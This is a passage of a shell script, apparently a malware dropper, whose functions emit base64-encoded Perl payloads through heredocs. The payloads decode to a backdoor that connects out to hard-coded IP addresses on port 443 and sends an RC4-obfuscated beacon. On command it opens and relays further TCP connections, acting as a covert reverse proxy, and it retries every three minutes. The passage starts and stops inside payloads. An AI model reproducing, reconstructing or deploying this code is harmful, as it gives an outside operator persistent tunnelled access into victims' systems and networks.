c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_21() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_22() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 